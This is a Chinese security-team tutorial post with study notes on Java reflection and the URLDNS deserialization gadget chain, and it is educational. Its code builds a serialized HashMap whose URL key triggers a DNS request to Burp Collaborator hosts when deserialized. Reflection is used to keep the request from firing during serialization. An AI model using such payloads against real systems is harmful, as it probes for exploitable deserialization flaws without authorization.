Java安全学习02-反射+URLDNS链-入门
2022-8-12 22:28:41 Author: NOVASEC(查看原文) 阅读量:10 收藏

        你一来,我就决心正经的,不是马虎地活下去,哪怕要费心费力,哪怕要我去牺牲呢。 

                                    --王小波 《爱你就像爱生命》

△△△点击上方“蓝字”关注我们了解更多精彩
0x00 免责声明

在学习本文技术或工具使用前,请您务必审慎阅读、充分理解各条款内容。

1、本团队分享的任何类型技术、工具文章等文章仅面向合法授权的企业安全建设行为与个人学习行为,严禁任何组织或个人使用本团队技术或工具进行非法活动

2、在使用本文相关工具及技术进行测试时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。如您仅需要测试技术或工具的可行性,建议请自行搭建靶机环境,请勿对非授权目标进行扫描。

3、如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。

4、本团队目前未发起任何对外公开培训项目和其他对外收费项目,严禁任何组织或个人使用本团队名义进行非法盈利。

5、本团队所有分享工具及技术文章,严禁不经过授权的公开分享。

如果发现上述禁止行为,我们将保留追究您法律责任的权利,并由您自身承担由禁止行为造成的任何后果

0x00 Preface

继上次Java安全学习笔记分享后,7日之内的分享来了
本文主要为反射笔记和urldns链笔记
0x01 反射基础知识
人话:反射的主要作用是获得一些正常情况下没有的操作
非人话:反射就是操作Class  Class允许我们在运行时发现和使用类型的信息,比如一个对象已经实例化了,但是可以通过反射进行更改该对象已经存在的属性。
下面是一个简单demo
实体类,用于实例化对象
package com.vuldemotest.testqax.entity;
import lombok.AllArgsConstructor;import lombok.Data;import lombok.NoArgsConstructor;
import java.io.Serializable;
@Data@AllArgsConstructor@NoArgsConstructorpublic class Person implements Serializable {
public String name; private int age;
public void action(String act){ System.out.println(act);    }}
写一个main方法来测试一下,这里会先实例化上面的实体类,正常来说实例化后的对象,它的属性是固定了的,这里面通过反射去修改
package com.vuldemotest.testqax.entity;
import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;
public class Reflection { public static void main(String[] args) throws Exception,ClassNotFoundException { //反射就是操作Class Class就是原型class // 反射的作用是在执行过程中进行对象的修改,可能表述有误,之前老师讲的,记不清了 Person person = new Person(); Class<?> c = person.getClass();
//等于上面,但是这个方式需要写路径,有时候会写错 Class<?> cc = Class.forName("com.vuldemotest.testqax.entity.Person");
//获取到原型Class后,就可以开始准备实例化对象 // 实例化对象需要先获取到构造方法,根据构造方法进行参数类型写入 Constructor<?> personconstructor = c.getConstructor(String.class, int.class); //使用构造方法进行对象实例化 Object p = personconstructor.newInstance("lww", 19); System.out.println(p);
//获取类里面的属性 这个只能获取公共属性,私有属性也要获取得用getDeclaredFields Field[] fields = c.getFields(); for (Field field : fields) { System.out.println(field); }
//当一个类已经实例化了对象,那么通过反射,可以修改对象中的值,比如上面实例化了一个对象p,可以通过反射修改其中的值 //获取对应属性,并修改 Field namefield = c.getField("name"); namefield.set(p,"lhh"); //获取私有属性,并修改 Field agefield = c.getDeclaredField("age"); //允许访问私有属性 私有变量访问受限,有访问检查,暴力访问 agefield.setAccessible(true); agefield.set(p,20); System.out.println("通过反射修改后的对象p的值:"+p);

//调用类里面的方法,我们在Person里面写了一个action方法 如果是私有方法则是Declared // 首先先获取方法 Method actionM = c.getMethod("action", String.class); //触发方法        actionM.invoke(p,"hello,reflection"); }}
如图,原本age是19,但是通过反射,改变了这个Person对象的age,变成了20
0x02 URLDNS链

经过目前简单的理解,我们反序列化,首先要有个入口类,入口类最好包含一些类,这些类首先可以序列化,其次这些类之间最好还有调用链。

调用链:

个人理解是有某个方法,是在一个很根本的类里面的,这个方法会在很多类(也可以是很少的调用)里面被调用,比如说Object类里面的hashCode方法。

如果有一个类a,使用了这个hashCode方法,然后另外一个类b包含了这个类a对象,也让类a对象去使用了这个方法,那么他们就是一个调用链。

为什么是hashCode方法呢?这个应该是根据个人经验来的,

比如说我们想找一个ssrf的漏洞,然后就会想能发起url请求的类是哪些,这些类里面,是否有可以序列化的类,找到可以使用的类后,再去找这些类里面有什么方法是常用的,或者这个方法名在其它类里面也是经常出现的,那么就有可能在其它类里面,传入当前类的对象,去调用这个方法。所以这个方法,大概率不能复杂,复杂的方法名,一般是当前类特有,所以需要去找一些常见的方法名进行尝试

0x03 调用链
想找一个ssrf的漏洞,所以找URL类看看有什么方法可能可以利用
如果这个时候,可以直接实例化一个URL对象,直接进行访问,那不就完事了,可是一般不会出现这种情况,因此是否有其它类,可以接收一个URL对象,并且这个类里面,让接收的URL对象去执行hashCode方法
在Map类中找一下hashCode方法,hash方法中调用hashCode方法
找一下Map中哪里调用了hash方法,看到HashMap中的put方法调用了

因此如果找到一个可以输入HashMap对象的位置就可以调用到hashCode方法,下面写一个HashMap对象,然后将其序列化
package com.vuldemotest.testqax.entity;
import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.net.URL;import java.util.HashMap;
public class SerializableDemo1 { //接收一个类对象进行序列化 public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("src/main/resources/ser.txt")); oos.writeObject(obj); oos.close(); }
public static void main(String[] args) throws IOException {        HashMap<URL, Integer> hashMap = new HashMap<>();        hashMap.put(new URL("http://xtuo427rfsw7fy4yfx2j28yu5lbbz0.burpcollaborator.net"),1); serialize(hashMap); }}
发现在序列化的时候,就已经触发了URL请求

0x04 分析
从最开始的put方法开始

hashMap.put

    put里面调用hash

hash里面调用hashCode,这个时候,是key.hashCode,而我们传入的是URL的对象,那么这里就是URL里面的hashCode

进入到URL里面的hashCode

如果此时hashCode不等于-1,则直接返回hashCode,不会发起请求

但是往上拉,发现hashCode写死等于-1了,所以必定会走到handler.hashCode

那么handler.hashCode为什么会发起请求呢?

URL类里面的handler是URLStreamHandler类对象,URLStreamHandler可用于url的协议解析,其会进行url访问

所以在序列化的之前,put的时候就会进行一次访问,这个其实没什么问题,但是,我们想要看到的是反序列化的时候的操作,即访问,如果序列化的时候,也访问了,就会有可能影响我们的判断

0x05 反射解决

通过反射,让序列化的时候,不发起访问。前面说hashCode写死等于-1了,所以必定会走到handler.hashCode,然后发起请求。

那么只要在put之前将其修改不为-1即可

package com.vuldemotest.testqax.entity;
import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;
public class SerializableDemo1 { //接收一个类对象进行序列化 public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("src/main/resources/ser.txt")); oos.writeObject(obj); oos.close(); }
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException { HashMap<URL, Integer> hashMap = new HashMap<>(); //通过反射将hashCode改成不是-1 URL url = new URL("http://j8sxtkda8ob44awv25a13ao0krqie7.burpcollaborator.net"); Class<? extends URL> c = url.getClass(); Field hashCodefield = c.getDeclaredField("hashCode"); hashCodefield.setAccessible(true); hashCodefield.set(url,1234); //put的时候就不会去请求        hashMap.put(url,1);         serialize(hashMap); }}
这个时候序列化就没有发起请求

put后,再将hashCode的值设置为-1,然后序列化hashMap

package com.vuldemotest.testqax.entity;
import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;
public class SerializableDemo1 { //接收一个类对象进行序列化 public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("src/main/resources/ser.txt")); oos.writeObject(obj); oos.close(); }
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException { HashMap<URL, Integer> hashMap = new HashMap<>(); //通过反射将hashCode改成不是-1 URL url = new URL("http://mj9t2hy1zoganx6t0pajxg8dp4vujj.burpcollaborator.net"); Class<? extends URL> c = url.getClass(); Field hashCodefield = c.getDeclaredField("hashCode"); hashCodefield.setAccessible(true); hashCodefield.set(url,1234); //put的时候就不会去请求 hashMap.put(url,1);
//再将hashCode改回-1,当反序列化的时候,就会去发起请求 hashCodefield.set(url,-1);
serialize(hashMap); }}
0x06 反序列化
将上面序列化得到的文件进行反序列化,成功触发请求
package com.vuldemotest.testqax.entity;
import java.io.FileInputStream;import java.io.IOException;import java.io.ObjectInputStream;
public class UnSerializableDemo { public static void main(String[] args) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream("src/main/resources/ser.txt"));
Object obj = ois.readObject(); //向下转型// student s = (student) obj;// System.out.println(s.getSid()+","+s.getAddress()+","+s.getName()+","+s.getAge()); ois.close(); }}
0x07 总结
简简单单,好像也没什么好总结的,不过是走到门前面罢了

END

如您有任何投稿、问题、建议、需求、合作、后台留言NOVASEC公众号!

或添加NOVASEC-余生 以便于及时回复。

感谢大哥们的对NOVASEC的支持点赞和关注

加入我们与萌新一起成长吧!

本团队任何技术及文件仅用于学习分享,请勿用于任何违法活动,感谢大家的支持!


文章来源: http://mp.weixin.qq.com/s?__biz=MzUzODU3ODA0MA==&mid=2247487842&idx=1&sn=2ee2bf9eefc157004015b6c6d8c6fc31&chksm=fad4cc75cda3456394a9c7941ec9809091d0f922859a12b475d8a81bc6d931716fc40e583ba2#rd
如有侵权请联系:admin#unsafe.sh